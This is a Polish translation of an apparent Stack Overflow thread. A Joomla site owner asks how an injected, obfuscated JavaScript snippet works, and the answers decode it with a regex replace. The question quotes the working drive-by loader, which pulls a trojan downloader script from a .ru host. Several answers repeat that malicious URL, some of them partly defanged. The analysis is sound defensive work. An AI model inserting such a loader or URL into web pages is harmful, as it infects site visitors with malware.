Jak działa skrypt infekujący tę witrynę?

99

Moja Joomla! witryna została wielokrotnie włamana. Ktoś w jakiś sposób zdołał wstrzyknąć następujące śmieci do kluczowych skryptów php, ale nie mam na myśli mówić o konfigurowaniu Joomla. Witryna nie jest zbyt często odwiedzana (czasami obawiam się, że mogę być jedynym odwiedzającym tę witrynę ...) i nie obchodzi mnie zbytnio jej przywrócenie i działanie. W końcu sobie z tym poradzę.

Moje pytanie brzmi, jak działają te śmieci? Patrzę na to i po prostu nie widzę, jak to się dzieje? Próbuje pobrać plik PDF o nazwie ChangeLog.pdf, który jest zainfekowany trojanem i po otwarciu zawiesi program Acrobat i sieją spustoszenie na komputerze. Jak to się dzieje, nie wiem, nie obchodzi mnie to. Ale w jaki sposób następujący fragment skryptu wywołuje pobieranie?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET wykrył ten kod jako trojan JS / TrojanDownloader.Agent.NRO

Peter Perháč
źródło
41
Proszę, niech nikt nie odchodzi, aby sprawdzić link z ciekawości!
DOK
1
Tak, nie wędruj po okolicy, próbując dowiedzieć się, co się dzieje, magia tkwi w prostym kodowaniu adresu URL i późniejszym dekodowaniu / analizowaniu ciągu za pomocą Replace / RegEx, które widzisz na końcu linii.
DoctorLouie,
13
Na początku „fragment scenariusza” brzmiał jak coś innego.
Aditya MP

Odpowiedzi:

181

Zwróć uwagę na replacepołączenie po gigantycznym niechlujny wyrażenie: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Usuwa większość znaków specjalnych, zamieniając go w normalny adres URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Ręcznie zmieniłem http:na evil:)

Zwróć uwagę, że wyrażenie regularne można było uprościć do .replace(/[#$@^&()!]/ig, '')

Jeśli spojrzysz na skrypt, zobaczysz, że jest to bardzo prosty skrypt, który wstrzykuje ukrytą ramkę IFRAME zawierającą ścieżkę /index.php?ysz tej samej domeny.

Poprosiłem o tę stronę w programie Fiddler i nie zawierała żadnej treści.

SLaks
źródło
6
Myślę, że skrypt dostarczający zawartość iframe jest tak zrobiony, aby nie rozpoczynać pobierania pdf za każdym razem. Może istnieć szansa 1 na 10 lub coś takiego. Nie próbował pobierać pliku PDF za każdym razem, gdy odświeżałem stronę Joomla. Może nawet 1 na 100 ... kto wie?
Peter Perháč
174
+1 za wzmiankę, że kod można było napisać wydajniej. :)
Pekka
8
@Pekka, myślę, że zostało to celowo napisane w ten sposób, aby było bardziej niejasne
Widok eliptyczny
7
@Elipticalview Zdecydowanie. Gdyby pisarz martwił się o wydajność, z pewnością nie użyłby zamiany wyrażenia regularnego do uzyskania statycznego ciągu. Lol.
Dan Bechard
Nie widzę, co by zrobił modyfikator wzorca niewrażliwy na wielkość liter dla wzorca bez liter. Użyłbym +też klasy znaków po ... jeśli używałbym wyrażenia regularnego.
mickmackusa
34

Te odpowiedzi mogą pomóc ci zrozumieć naturę złośliwego kodu JavaScript, ale powinieneś szukać sposobu na zamknięcie luki w silniku Joomla. Wstępnie spakowane frameworki są podatne na luki, umyślne lub niezamierzone, zwłaszcza jeśli weźmie się pod uwagę, że zostały zaprojektowane do pracy w środowiskach unix, mac i Windows.

Moja praca wymaga uruchamiania wielu domen, aplikacji i frameworków na wielu typach serwerów i systemów dla siebie i dla klientów. Z biegiem czasu widziałem coraz więcej botów przeszukujących te systemy w poszukiwaniu znanych luk / wejść poprzez wejścia do tylnych drzwi utworzone przez te ramy. Dobrze, gdy używam jakiegokolwiek frameworka, co robię rzadko, upewniam się, że zmieniam nazwę większości, jeśli nie całej struktury plików, aby pozbyć się tych nieznośnych luk / tylnych drzwi. Przynajmniej możesz zmienić nazwy katalogów, co spowoduje odrzucenie większości botów, ale moim sposobem jest całkowite wyeliminowanie odniesień, które dają wskazówki co do natury frameworka, co obejmuje zmianę nazwy całej struktury plików, a nie tylko katalogów. Zawsze przechowuj mapę nowych konwencji nazewnictwa w stosunku do starych konwencji nazewnictwa, aby dodawanie wtyczek do podstawowego środowiska było bardzo proste. Gdy już to zrozumiesz, możesz posunąć się do programowej zmiany nazwy całej struktury plików frameworka, aby uzyskać szybsze wyniki, jest to szczególnie przydatne, gdy masz do czynienia z klientami, którzy muszą mieć możliwość aktualizacji struktury za pomocą wtyczek i tym podobnych.

DoctorLouie
źródło
1
Po prostu nie usuwaj informacji o źródle frameworka, byłoby to całkowicie błędne.
DoctorLouie,
2
Oooo, dzięki. To miła odpowiedź. Niezupełnie odpowiadając na pytanie, ale nadal daje +1, ponieważ była to rzeczywiście bardzo interesująca lektura i dobre sugestie. Ta
Peter Perháč
20

Po prostu dokonuje zamiany wyrażenia regularnego w adresie URL skryptu, aby dać ci

UWAGA: NIE OBSERWUJ PONIŻEJ **LINKU (wstawionego, aby zniechęcić kopiujących)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

jako src

Russ Cam
źródło
takie proste, prawda? mój Boże ... znowu zostałem pwnd przez SO :)
Peter Perháč
23
To zabawny adres URL.
Jordan Bieganie
@Josh - To zależy od ciebie, nie próbowałem tego, więc nie mogę ci dokładnie powiedzieć, dlaczego. Podejrzewam, że na stronie mogą znajdować się złośliwe skrypty. Możesz to zrobić na własne ryzyko!
Russ Cam
8

Używa funkcji replace w celu zastąpienia znaków śmieci za pomocą wyrażenia regularnego, nic złego w kodzie:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
źródło
7

Jego skrypt ładowania z

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

A ten skrypt ładuje się iframez widocznościąhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
TY
źródło
2

Kiedy czytasz całość, stwierdzasz, że jest to ciąg, po którym następuje polecenie zamiany.

Raj Więcej
źródło
2

Mam ten sam sript na moich stronach w plikach indeksu *. *. Piszę własny kod w PHP. Nie pytam, jak to działa, ale pytam, jak się chronić, jeśli znasz ich tylne drzwi. Zmieniłem formularze i czytałem $ _POST i $ _GET, zastępując <> i http: // itd.

Kulik
źródło
2

Moje dwa centy. Czy możesz / możesz zainstalować narzędzie do tworzenia kopii zapasowych Joomla, takie jak Joomlapack?

Ustawiłem go tak, aby działał za pomocą skryptu CHRON, aby utrzymać towary pod ręką na wypadek, gdyby rabusie zaczęli rabować.

Jakiej wersji Joomla używasz?

Wersje 1.0.X nie są już aktualizowane, a ich wiek naprawdę zaczyna się pojawiać. Jesteś winien sobie zrobić kopię zapasową i zaplanować aktualizację do wersji 1.5 i przewidzieć cuda wersji 1.6

greenkoi
źródło